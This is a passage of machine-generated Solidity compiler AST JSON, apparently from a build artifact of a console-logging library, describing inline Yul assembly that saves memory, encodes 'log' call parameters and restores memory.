value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"273345:5:22","nodeType":"YulIdentifier","src":"273345:5:22"},"nativeSrc":"273345:11:22","nodeType":"YulFunctionCall","src":"273345:11:22"},"variableNames":[{"name":"m5","nativeSrc":"273339:2:22","nodeType":"YulIdentifier","src":"273339:2:22"}]},{"nativeSrc":"273369:17:22","nodeType":"YulAssignment","src":"273369:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"273381:4:22","nodeType":"YulLiteral","src":"273381:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"273375:5:22","nodeType":"YulIdentifier","src":"273375:5:22"},"nativeSrc":"273375:11:22","nodeType":"YulFunctionCall","src":"273375:11:22"},"variableNames":[{"name":"m6","nativeSrc":"273369:2:22","nodeType":"YulIdentifier","src":"273369:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"273472:4:22","nodeType":"YulLiteral","src":"273472:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"273478:10:22","nodeType":"YulLiteral","src":"273478:10:22","type":"","value":"0x59cfcbe3"}],"functionName":{"name":"mstore","nativeSrc":"273465:6:22","nodeType":"YulIdentifier","src":"273465:6:22"},"nativeSrc":"273465:24:22","nodeType":"YulFunctionCall","src":"273465:24:22"},"nativeSrc":"273465:24:22","nodeType":"YulExpressionStatement","src":"273465:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"273509:4:22","nodeType":"YulLiteral","src":"273509:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"273515:2:22","nodeType":"YulIdentifier","src":"273515:2:22"}],"functionName":{"name":"mstore","nativeSrc":"273502:6:22","nodeType":"YulIdentifier","src":"273502:6:22"},"nativeSrc":"273502:16:22","nodeType":"YulFunctionCall","src":"273502:16:22"},"nativeSrc":"273502:16:22","nodeType":"YulExpressionStatement","src":"273502:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"273538:4:22","nodeType":"YulLiteral","src":"273538:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"273544:2:22","nodeType":"YulIdentifier","src":"273544:2:22"}],"functionName":{"name":"mstore","nativeSrc":"273531:6:22","nodeType":"YulIdentifier","src":"273531:6:22"},"nativeSrc":"273531:16:22","nodeType":"YulFunctionCall","src":"273531:16:22"},"nativeSrc":"273531:16:22","nodeType":"YulExpressionStatement","src":"273531:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"273567:4:22","nodeType":"YulLiteral","src":"273567:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"273573:2:22","nodeType":"YulIdentifier","src":"273573:2:22"}],"functionName":{"name":"mstore","nativeSrc":"273560:6:22","nodeType":"YulIdentifier","src":"273560:6:22"},"nativeSrc":"273560:16:22","nodeType":"YulFunctionCall","src":"273560:16:22"},"nativeSrc":"273560:16:22","nodeType":"YulExpressionStatement","src":"273560:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"273596:4:22","nodeType":"YulLiteral","src":"273596:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"273602:4:22","nodeType":"YulLiteral","src":"273602:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"273589:6:22","nodeType":"YulIdentifier","src":"273589:6:22"},"nativeSrc":"273589:18:22","nodeType":"YulFunctionCall","src":"273589:18:22"},"nativeSrc":"273589:18:22","nodeType":"YulExpressionStatement","src":"273589:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"273632:4:22","nodeType":"YulLiteral","src":"273632:4:22","type":"","value":"0xa0"},{"name":"p3","nativeSrc":"273638:2:22","nodeType":"YulIdentifier","src":"273638:2:22"}],"functionName":{"name":"writeString","nativeSrc":"273620:11:22","nodeType":"YulIdentifier","src":"273620:11:22"},"nativeSrc":"273620:21:22","nodeType":"YulFunctionCall","src":"273620:21:22"},"nativeSrc":"273620:21:22","nodeType":"YulExpressionStatement","src":"273620:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42856,"isOffset":false,"isSlot":false,"src":"273189:2:22","valueSize":1},{"declaration":42859,"isOffset":false,"isSlot":false,"src":"273219:2:22","valueSize":1},{"declaration":42862,"isOffset":false,"isSlot":false,"src":"273249:2:22","valueSize":1},{"declaration":42865,"isOffset":false,"isSlot":false,"src":"273279:2:22","valueSize":1},{"declaration":42868,"isOffset":false,"isSlot":false,"src":"273309:2:22","valueSize":1},{"declaration":42871,"isOffset":false,"isSlot":false,"src":"273339:2:22","valueSize":1},{"declaration":42874,"isOffset":false,"isSlot":false,"src":"273369:2:22","valueSize":1},{"declaration":42846,"isOffset":false,"isSlot":false,"src":"273515:2:22","valueSize":1},{"declaration":42848,"isOffset":false,"isSlot":false,"src":"273544:2:22","valueSize":1},{"declaration":42850,"isOffset":false,"isSlot":false,"src":"273573:2:22","valueSize":1},{"declaration":42852,"isOffset":false,"isSlot":false,"src":"273638:2:22","valueSize":1}],"id":42876,"nodeType":"InlineAssembly","src":"272811:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":42878,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"273676:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":42879,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"273682:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":42877,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"273660:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":42880,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"273660:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":42881,"nodeType":"ExpressionStatement","src":"273660:27:22"},{"AST":{"nativeSrc":"273706:214:22","nodeType":"YulBlock","src":"273706:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"273727:4:22","nodeType":"YulLiteral","src":"273727:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"273733:2:22","nodeType":"YulIdentifier","src":"273733:2:22"}],"functionName":{"name":"mstore","nativeSrc":"273720:6:22","nodeType":"YulIdentifier","src":"273720:6:22"},"nativeSrc":"273720:16:22","nodeType":"YulFunctionCall","src":"273720:16:22"},"nativeSrc":"273720:16:22","nodeType":"YulExpressionStatement","src":"273720:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"273756:4:22","nodeType":"YulLiteral","src":"273756:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"273762:2:22","nodeType":"YulIdentifier","src":"273762:2:22"}],"functionName":{"name":"mstore","nativeSrc":"273749:6:22","nodeType":"YulIdentifier","src":"273749:6:22"},"nativeSrc":"273749:16:22","nodeType":"YulFunctionCall","src":"273749:16:22"},"nativeSrc":"273749:16:22","nodeType":"YulExpressionStatement","src":"273749:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"273785:4:22","nodeType":"YulLiteral","src":"273785:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"273791:2:22","nodeType":"YulIdentifier","src":"273791:2:22"}],"functionName":{"name":"mstore","nativeSrc":"273778:6:22","nodeType":"YulIdentifier","src":"273778:6:22"},"nativeSrc":"273778:16:22","nodeType":"YulFunctionCall","src":"273778:16:22"},"nativeSrc":"273778:16:22","nodeType":"YulExpressionStatement","src":"273778:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"273814:4:22","nodeType":"YulLiteral","src":"273814:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"273820:2:22","nodeType":"YulIdentifier","src":"273820:2:22"}],"functionName":{"name":"mstore","nativeSrc":"273807:6:22","nodeType":"YulIdentifier","src":"273807:6:22"},"nativeSrc":"273807:16:22","nodeType":"YulFunctionCall","src":"273807:16:22"},"nativeSrc":"273807:16:22","nodeType":"YulExpressionStatement","src":"273807:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"273843:4:22","nodeType":"YulLiteral","src":"273843:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"273849:2:22","nodeType":"YulIdentifier","src":"273849:2:22"}],"functionName":{"name":"mstore","nativeSrc":"273836:6:22","nodeType":"YulIdentifier","src":"273836:6:22"},"nativeSrc":"273836:16:22","nodeType":"YulFunctionCall","src":"273836:16:22"},"nativeSrc":"273836:16:22","nodeType":"YulExpressionStatement","src":"273836:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"273872:4:22","nodeType":"YulLiteral","src":"273872:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"273878:2:22","nodeType":"YulIdentifier","src":"273878:2:22"}],"functionName":{"name":"mstore","nativeSrc":"273865:6:22","nodeType":"YulIdentifier","src":"273865:6:22"},"nativeSrc":"273865:16:22","nodeType":"YulFunctionCall","src":"273865:16:22"},"nativeSrc":"273865:16:22","nodeType":"YulExpressionStatement","src":"273865:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"273901:4:22","nodeType":"YulLiteral","src":"273901:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"273907:2:22","nodeType":"YulIdentifier","src":"273907:2:22"}],"functionName":{"name":"mstore","nativeSrc":"273894:6:22","nodeType":"YulIdentifier","src":"273894:6:22"},"nativeSrc":"273894:16:22","nodeType":"YulFunctionCall","src":"273894:16:22"},"nativeSrc":"273894:16:22","nodeType":"YulExpressionStatement","src":"273894:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42856,"isOffset":false,"isSlot":false,"src":"273733:2:22","valueSize":1},{"declaration":42859,"isOffset":false,"isSlot":false,"src":"273762:2:22","valueSize":1},{"declaration":42862,"isOffset":false,"isSlot":false,"src":"273791:2:22","valueSize":1},{"declaration":42865,"isOffset":false,"isSlot":false,"src":"273820:2:22","valueSize":1},{"declaration":42868,"isOffset":false,"isSlot":false,"src":"273849:2:22","valueSize":1},{"declaration":42871,"isOffset":false,"isSlot":false,"src":"273878:2:22","valueSize":1},{"declaration":42874,"isOffset":false,"isSlot":false,"src":"273907:2:22","valueSize":1}],"id":42882,"nodeType":"InlineAssembly","src":"273697:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"272595:3:22","parameters":{"id":42853,"nodeType":"ParameterList","parameters":[{"constant":false,"id":42846,"mutability":"mutable","name":"p0","nameLocation":"272607:2:22","nodeType":"VariableDeclaration","scope":42884,"src":"272599:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42845,"name":"uint256","nodeType":"ElementaryTypeName","src":"272599:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42848,"mutability":"mutable","name":"p1","nameLocation":"272619:2:22","nodeType":"VariableDeclaration","scope":42884,"src":"272611:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42847,"name":"uint256","nodeType":"ElementaryTypeName","src":"272611:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42850,"mutability":"mutable","name":"p2","nameLocation":"272631:2:22","nodeType":"VariableDeclaration","scope":42884,"src":"272623:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42849,"name":"uint256","nodeType":"ElementaryTypeName","src":"272623:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42852,"mutability":"mutable","name":"p3","nameLocation":"272643:2:22","nodeType":"VariableDeclaration","scope":42884,"src":"272635:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42851,"name":"bytes32","nodeType":"ElementaryTypeName","src":"272635:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"272598:48:22"},"returnParameters":{"id":42854,"nodeType":"ParameterList","parameters":[],"src":"272661:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":42924,"nodeType":"FunctionDefinition","src":"273932:1340:22","nodes":[],"body":{"id":42923,"nodeType":"Block","src":"274007:1265:22","nodes":[],"statements":[{"assignments":[42896],"declarations":[{"constant":false,"id":42896,"mutability":"mutable","name":"m0","nameLocation":"274025:2:22","nodeType":"VariableDeclaration","scope":42923,"src":"274017:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42895,"name":"bytes32","nodeType":"ElementaryTypeName","src":"274017:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42897,"nodeType":"VariableDeclarationStatement","src":"274017:10:22"},{"assignments":[42899],"declarations":[{"constant":false,"id":42899,"mutability":"mutable","name":"m1","nameLocation":"274045:2:22","nodeType":"VariableDeclaration","scope":42923,"src":"274037:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42898,"name":"bytes32","nodeType":"ElementaryTypeName","src":"274037:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42900,"nodeType":"VariableDeclarationStatement","src":"274037:10:22"},{"assignments":[42902],"declarations":[{"constant":false,"id":42902,"mutability":"mutable","name":"m2","nameLocation":"274065:2:22","nodeType":"VariableDeclaration","scope":42923,"src":"274057:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42901,"name":"bytes32","nodeType":"ElementaryTypeName","src":"274057:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42903,"nodeType":"VariableDeclarationStatement","src":"274057:10:22"},{"assignments":[42905],"declarations":[{"constant":false,"id":42905,"mutability":"mutable","name":"m3","nameLocation":"274085:2:22","nodeType":"VariableDeclaration","scope":42923,"src":"274077:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42904,"name":"bytes32","nodeType":"ElementaryTypeName","src":"274077:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42906,"nodeType":"VariableDeclarationStatement","src":"274077:10:22"},{"assignments":[42908],"declarations":[{"constant":false,"id":42908,"mutability":"mutable","name":"m4","nameLocation":"274105:2:22","nodeType":"VariableDeclaration","scope":42923,"src":"274097:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42907,"name":"bytes32","nodeType":"ElementaryTypeName","src":"274097:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42909,"nodeType":"VariableDeclarationStatement","src":"274097:10:22"},{"assignments":[42911],"declarations":[{"constant":false,"id":42911,"mutability":"mutable","name":"m5","nameLocation":"274125:2:22","nodeType":"VariableDeclaration","scope":42923,"src":"274117:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42910,"name":"bytes32","nodeType":"ElementaryTypeName","src":"274117:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42912,"nodeType":"VariableDeclarationStatement","src":"274117:10:22"},{"assignments":[42914],"declarations":[{"constant":false,"id":42914,"mutability":"mutable","name":"m6","nameLocation":"274145:2:22","nodeType":"VariableDeclaration","scope":42923,"src":"274137:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42913,"name":"bytes32","nodeType":"ElementaryTypeName","src":"274137:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42915,"nodeType":"VariableDeclarationStatement","src":"274137:10:22"},{"AST":{"nativeSrc":"274166:831:22","nodeType":"YulBlock","src":"274166:831:22","statements":[{"body":{"nativeSrc":"274209:313:22","nodeType":"YulBlock","src":"274209:313:22","statements":[{"nativeSrc":"274227:15:22","nodeType":"YulVariableDeclaration","src":"274227:15:22","value":{"kind":"number","nativeSrc":"274241:1:22","nodeType":"YulLiteral","src":"274241:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"274231:6:22","nodeType":"YulTypedName","src":"274231:6:22","type":""}]},{"body":{"nativeSrc":"274312:40:22","nodeType":"YulBlock","src":"274312:40:22","statements":[{"body":{"nativeSrc":"274341:9:22","nodeType":"YulBlock","src":"274341:9:22","statements":[{"nativeSrc":"274343:5:22","nodeType":"YulBreak","src":"274343:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"274329:6:22","nodeType":"YulIdentifier","src":"274329:6:22"},{"name":"w","nativeSrc":"274337:1:22","nodeType":"YulIdentifier","src":"274337:1:22"}],"functionName":{"name":"byte","nativeSrc":"274324:4:22","nodeType":"YulIdentifier","src":"274324:4:22"},"nativeSrc":"274324:15:22","nodeType":"YulFunctionCall","src":"274324:15:22"}],"functionName":{"name":"iszero","nativeSrc":"274317:6:22","nodeType":"YulIdentifier","src":"274317:6:22"},"nativeSrc":"274317:23:22","nodeType":"YulFunctionCall","src":"274317:23:22"},"nativeSrc":"274314:36:22","nodeType":"YulIf","src":"274314:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"274269:6:22","nodeType":"YulIdentifier","src":"274269:6:22"},{"kind":"number","nativeSrc":"274277:4:22","nodeType":"YulLiteral","src":"274277:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"274266:2:22","nodeType":"YulIdentifier","src":"274266:2:22"},"nativeSrc":"274266:16:22","nodeType":"YulFunctionCall","src":"274266:16:22"},"nativeSrc":"274259:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"274283:28:22","nodeType":"YulBlock","src":"274283:28:22","statements":[{"nativeSrc":"274285:24:22","nodeType":"YulAssignment","src":"274285:24:22","value":{"arguments":[{"name":"length","nativeSrc":"274299:6:22","nodeType":"YulIdentifier","src":"274299:6:22"},{"kind":"number","nativeSrc":"274307:1:22","nodeType":"YulLiteral","src":"274307:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"274295:3:22","nodeType":"YulIdentifier","src":"274295:3:22"},"nativeSrc":"274295:14:22","nodeType":"YulFunctionCall","src":"274295:14:22"},"variableNames":[{"name":"length","nativeSrc":"274285:6:22","nodeType":"YulIdentifier","src":"274285:6:22"}]}]},"pre":{"nativeSrc":"274263:2:22","nodeType":"YulBlock","src":"274263:2:22","statements":[]},"src":"274259:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"274376:3:22","nodeType":"YulIdentifier","src":"274376:3:22"},{"name":"length","nativeSrc":"274381:6:22","nodeType":"YulIdentifier","src":"274381:6:22"}],"functionName":{"name":"mstore","nativeSrc":"274369:6:22","nodeType":"YulIdentifier","src":"274369:6:22"},"nativeSrc":"274369:19:22","nodeType":"YulFunctionCall","src":"274369:19:22"},"nativeSrc":"274369:19:22","nodeType":"YulExpressionStatement","src":"274369:19:22"},{"nativeSrc":"274405:37:22","nodeType":"YulVariableDeclaration","src":"274405:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"274422:3:22","nodeType":"YulLiteral","src":"274422:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"274431:1:22","nodeType":"YulLiteral","src":"274431:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"274434:6:22","nodeType":"YulIdentifier","src":"274434:6:22"}],"functionName":{"name":"shl","nativeSrc":"274427:3:22","nodeType":"YulIdentifier","src":"274427:3:22"},"nativeSrc":"274427:14:22","nodeType":"YulFunctionCall","src":"274427:14:22"}],"functionName":{"name":"sub","nativeSrc":"274418:3:22","nodeType":"YulIdentifier","src":"274418:3:22"},"nativeSrc":"274418:24:22","nodeType":"YulFunctionCall","src":"274418:24:22"},"variables":[{"name":"shift","nativeSrc":"274409:5:22","nodeType":"YulTypedName","src":"274409:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"274470:3:22","nodeType":"YulIdentifier","src":"274470:3:22"},{"kind":"number","nativeSrc":"274475:4:22","nodeType":"YulLiteral","src":"274475:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"274466:3:22","nodeType":"YulIdentifier","src":"274466:3:22"},"nativeSrc":"274466:14:22","nodeType":"YulFunctionCall","src":"274466:14:22"},{"arguments":[{"name":"shift","nativeSrc":"274486:5:22","nodeType":"YulIdentifier","src":"274486:5:22"},{"arguments":[{"name":"shift","nativeSrc":"274497:5:22","nodeType":"YulIdentifier","src":"274497:5:22"},{"name":"w","nativeSrc":"274504:1:22","nodeType":"YulIdentifier","src":"274504:1:22"}],"functionName":{"name":"shr","nativeSrc":"274493:3:22","nodeType":"YulIdentifier","src":"274493:3:22"},"nativeSrc":"274493:13:22","nodeType":"YulFunctionCall","src":"274493:13:22"}],"functionName":{"name":"shl","nativeSrc":"274482:3:22","nodeType":"YulIdentifier","src":"274482:3:22"},"nativeSrc":"274482:25:22","nodeType":"YulFunctionCall","src":"274482:25:22"}],"functionName":{"name":"mstore","nativeSrc":"274459:6:22","nodeType":"YulIdentifier","src":"274459:6:22"},"nativeSrc":"274459:49:22","nodeType":"YulFunctionCall","src":"274459:49:22"},"nativeSrc":"274459:49:22","nodeType":"YulExpressionStatement","src":"274459:49:22"}]},"name":"writeString","nativeSrc":"274180:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"274201:3:22","nodeType":"YulTypedName","src":"274201:3:22","type":""},{"name":"w","nativeSrc":"274206:1:22","nodeType":"YulTypedName","src":"274206:1:22","type":""}],"src":"274180:342:22"},{"nativeSrc":"274535:17:22","nodeType":"YulAssignment","src":"274535:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"274547:4:22","nodeType":"YulLiteral","src":"274547:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"274541:5:22","nodeType":"YulIdentifier","src":"274541:5:22"},"nativeSrc":"274541:11:22","nodeType":"YulFunctionCall","src":"274541:11:22"},"variableNames":[{"name":"m0","nativeSrc":"274535:2:22","nodeType":"YulIdentifier","src":"274535:2:22"}]},{"nativeSrc":"274565:17:22","nodeType":"YulAssignment","src":"274565:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"274577:4:22","nodeType":"YulLiteral","src":"274577:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"274571:5:22","nodeType":"YulIdentifier","src":"274571:5:22"},"nativeSrc":"274571:11:22","nodeType":"YulFunctionCall","src":"274571:11:22"},"variableNames":[{"name":"m1","nativeSrc":"274565:2:22","nodeType":"YulIdentifier","src":"274565:2:22"}]},{"nativeSrc":"274595:17:22","nodeType":"YulAssignment","src":"274595:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"274607:4:22","nodeType":"YulLiteral","src":"274607:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"274601:5:22","nodeType":"YulIdentifier","src":"274601:5:22"},"nativeSrc":"274601:11:22","nodeType":"YulFunctionCall","src":"274601:11:22"},"variableNames":[{"name":"m2","nativeSrc":"274595:2:22","nodeType":"YulIdentifier","src":"274595:2:22"}]},{"nativeSrc":"274625:17:22","nodeType":"YulAssignment","src":"274625:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"274637:4:22","nodeType":"YulLiteral","src":"274637:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"274631:5:22","nodeType":"YulIdentifier","src":"274631:5:22"},"nativeSrc":"274631:11:22","nodeType":"YulFunctionCall","src":"274631:11:22"},"variableNames":[{"name":"m3","nativeSrc":"274625:2:22","nodeType":"YulIdentifier","src":"274625:2:22"}]},{"nativeSrc":"274655:17:22","nodeType":"YulAssignment","src":"274655:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"274667:4:22","nodeType":"YulLiteral","src":"274667:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"274661:5:22","nodeType":"YulIdentifier","src":"274661:5:22"},"nativeSrc":"274661:11:22","nodeType":"YulFunctionCall","src":"274661:11:22"},"variableNames":[{"name":"m4","nativeSrc":"274655:2:22","nodeType":"YulIdentifier","src":"274655:2:22"}]},{"nativeSrc":"274685:17:22","nodeType":"YulAssignment","src":"274685:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"274697:4:22","nodeType":"YulLiteral","src":"274697:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"274691:5:22","nodeType":"YulIdentifier","src":"274691:5:22"},"nativeSrc":"274691:11:22","nodeType":"YulFunctionCall","src":"274691:11:22"},"variableNames":[{"name":"m5","nativeSrc":"274685:2:22","nodeType":"YulIdentifier","src":"274685:2:22"}]},{"nativeSrc":"274715:17:22","nodeType":"YulAssignment","src":"274715:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"274727:4:22","nodeType":"YulLiteral","src":"274727:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"274721:5:22","nodeType":"YulIdentifier","src":"274721:5:22"},"nativeSrc":"274721:11:22","nodeType":"YulFunctionCall","src":"274721:11:22"},"variableNames":[{"name":"m6","nativeSrc":"274715:2:22","nodeType":"YulIdentifier","src":"274715:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"274818:4:22","nodeType":"YulLiteral","src":"274818:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"274824:10:22","nodeType":"YulLiteral","src":"274824:10:22","type":"","value":"0x42d21db7"}],"functionName":{"name":"mstore","nativeSrc":"274811:6:22","nodeType":"YulIdentifier","src":"274811:6:22"},"nativeSrc":"274811:24:22","nodeType":"YulFunctionCall","src":"274811:24:22"},"nativeSrc":"274811:24:22","nodeType":"YulExpressionStatement","src":"274811:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"274855:4:22","nodeType":"YulLiteral","src":"274855:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"274861:2:22","nodeType":"YulIdentifier","src":"274861:2:22"}],"functionName":{"name":"mstore","nativeSrc":"274848:6:22","nodeType":"YulIdentifier","src":"274848:6:22"},"nativeSrc":"274848:16:22","nodeType":"YulFunctionCall","src":"274848:16:22"},"nativeSrc":"274848:16:22","nodeType":"YulExpressionStatement","src":"274848:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"274884:4:22","nodeType":"YulLiteral","src":"274884:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"274890:2:22","nodeType":"YulIdentifier","src":"274890:2:22"}],"functionName":{"name":"mstore","nativeSrc":"274877:6:22","nodeType":"YulIdentifier","src":"274877:6:22"},"nativeSrc":"274877:16:22","nodeType":"YulFunctionCall","src":"274877:16:22"},"nativeSrc":"274877:16:22","nodeType":"YulExpressionStatement","src":"274877:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"274913:4:22","nodeType":"YulLiteral","src":"274913:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"274919:4:22","nodeType":"YulLiteral","src":"274919:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"274906:6:22","nodeType":"YulIdentifier","src":"274906:6:22"},"nativeSrc":"274906:18:22","nodeType":"YulFunctionCall","src":"274906:18:22"},"nativeSrc":"274906:18:22","nodeType":"YulExpressionStatement","src":"274906:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"274944:4:22","nodeType":"YulLiteral","src":"274944:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"274950:2:22","nodeType":"YulIdentifier","src":"274950:2:22"}],"functionName":{"name":"mstore","nativeSrc":"274937:6:22","nodeType":"YulIdentifier","src":"274937:6:22"},"nativeSrc":"274937:16:22","nodeType":"YulFunctionCall","src":"274937:16:22"},"nativeSrc":"274937:16:22","nodeType":"YulExpressionStatement","src":"274937:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"274978:4:22","nodeType":"YulLiteral","src":"274978:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"274984:2:22","nodeType":"YulIdentifier","src":"274984:2:22"}],"functionName":{"name":"writeString","nativeSrc":"274966:11:22","nodeType":"YulIdentifier","src":"274966:11:22"},"nativeSrc":"274966:21:22","nodeType":"YulFunctionCall","src":"274966:21:22"},"nativeSrc":"274966:21:22","nodeType":"YulExpressionStatement","src":"274966:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42896,"isOffset":false,"isSlot":false,"src":"274535:2:22","valueSize":1},{"declaration":42899,"isOffset":false,"isSlot":false,"src":"274565:2:22","valueSize":1},{"declaration":42902,"isOffset":false,"isSlot":false,"src":"274595:2:22","valueSize":1},{"declaration":42905,"isO